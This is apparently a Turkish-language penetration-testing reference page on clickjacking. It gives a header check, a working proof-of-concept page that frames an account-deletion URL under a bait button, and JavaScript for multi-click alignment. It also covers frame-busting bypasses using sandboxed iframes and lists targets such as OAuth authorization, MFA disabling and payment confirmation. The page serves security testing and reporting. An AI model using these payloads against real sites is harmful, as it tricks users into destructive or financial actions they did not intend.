Clickjacking
OWASP A05 difficulty: kolay
Clickjacking (UI redressing), hedef siteyi görünmez bir iframe içine alıp saldırgan sayfasının üstüne bindirerek, kurbanın farkında olmadan hedef sitede işlem (onay, satın alma, ayar değiştirme) yapmasını sağlar. PoC üretmek için Clickjacking PoC aracını kullanabilirsin.
Ön koşul
Section titled “Ön koşul”Hedef sayfa çerçevelenebilir olmalı:
# X-Frame-Options yok veya zayıf# CSP frame-ancestors yok / * / saldırgan origincurl -sI https://victim.com/account/delete | grep -iE 'x-frame|content-security'DENY / CSP frame-ancestors 'none' → çerçevelenemezSAMEORIGIN → çapraz site iframe yok; alt domain XSS ile zincir düşünALLOW-FROM (eski) → modern tarayıcıda güvenilmezBaşlık yok → adayTemel PoC
Section titled “Temel PoC”<!DOCTYPE html><html><head>
</head><body> <div class="bait">Ödülü kazanmak için buraya tıkla</div> <iframe src="https://victim.com/account/delete"></iframe></body></html>Kurbanın “ödül” tıklaması, alttaki gerçek “Hesabı sil / Like / Follow / Enable” butonuna denk gelir. Debug için geçici opacity: 0.5 kullan.
Çok adımlı / hassas tıklama
Section titled “Çok adımlı / hassas tıklama”-
Çerçevelenebilirliği doğrula — hedef URL’yi iframe’le; boş mu, kırık mı, XFO ile mi engellenmiş?
-
Buton koordinatlarını hizala — DevTools ile hedef butonun konumunu ölç; bait’i üstüne yerleştir. transform: scale() ile iframe büyüt/küçült.
-
Çok tıklamalı akış — onay diyalogları için bait’i ikinci tıklamada kaydır (JS ile top / left güncelle).
-
Drag & drop / text injection — kurbanın seçtiği metni gizli forma sürükletme veya clipboard hileleri (lab senaryoları).
-
Oturum koşulu — kurban hedefte login olmalı; PoC sayfasında “önce victim.com’da oturum açın” talimatı veya open-redirect zinciri.
Gelişmiş hizalama
Section titled “Gelişmiş hizalama”// İkinci tık için bait kaydırlet step = 0;document.querySelector('.bait').onclick = () => { step++; if (step === 1) { document.querySelector('.bait').style.top = '420px'; document.querySelector('.bait').textContent = 'Devam et'; }};Frame busting atlatma
Section titled “Frame busting atlatma”<iframe sandbox="allow-forms allow-scripts allow-same-origin"src="https://victim.com/sensitive"></iframe>sandbox → top.location busting script'lerini kısıtlar (varyanta göre)XFO SAMEORIGIN → parent olarak XSS'li aynı origin / subdomain kullandouble framing → bazı eski busting'ler yalnızca top==self bakarCSRF ile ilişki
Section titled “CSRF ile ilişki”Clickjacking, CSRF token’ı kurbanın kendi tarayıcısında doldurulmuş sayfada tıklattığı için token korumasını baypas edebilir. Hedefler:
□ Hesap sil / e-posta değiştir onayı□ OAuth "Authorize" / "Allow access"□ 2FA yedek kod göster / disable MFA□ Para transferi / satın alma onayı□ Sosyal: Like, Follow, Share, Add friendXSS / open redirect zinciri
Section titled “XSS / open redirect zinciri”Çerçevelenemeyen ana domain → çerçevelenebilir alt path veya eski appOpen redirect → iframe src'yi güvenilir görünümlü URL ile başlatStored XSS (alt domain) → self-clickjacking / same-origin frameChecklist
Section titled “Checklist”□ Hassas ayar / silme / OAuth / ödeme onay ekranları□ X-Frame-Options ve CSP frame-ancestors tüm varyant path'lerde□ Mobil webview / in-app browser farkları□ Double-click / confirm dialog hizalama□ PoC videosu veya ekran görüntüsü ile rapor□ Cookie SameSite clickjacking'i engellemez (kullanıcı kendi sitesinde tıklar)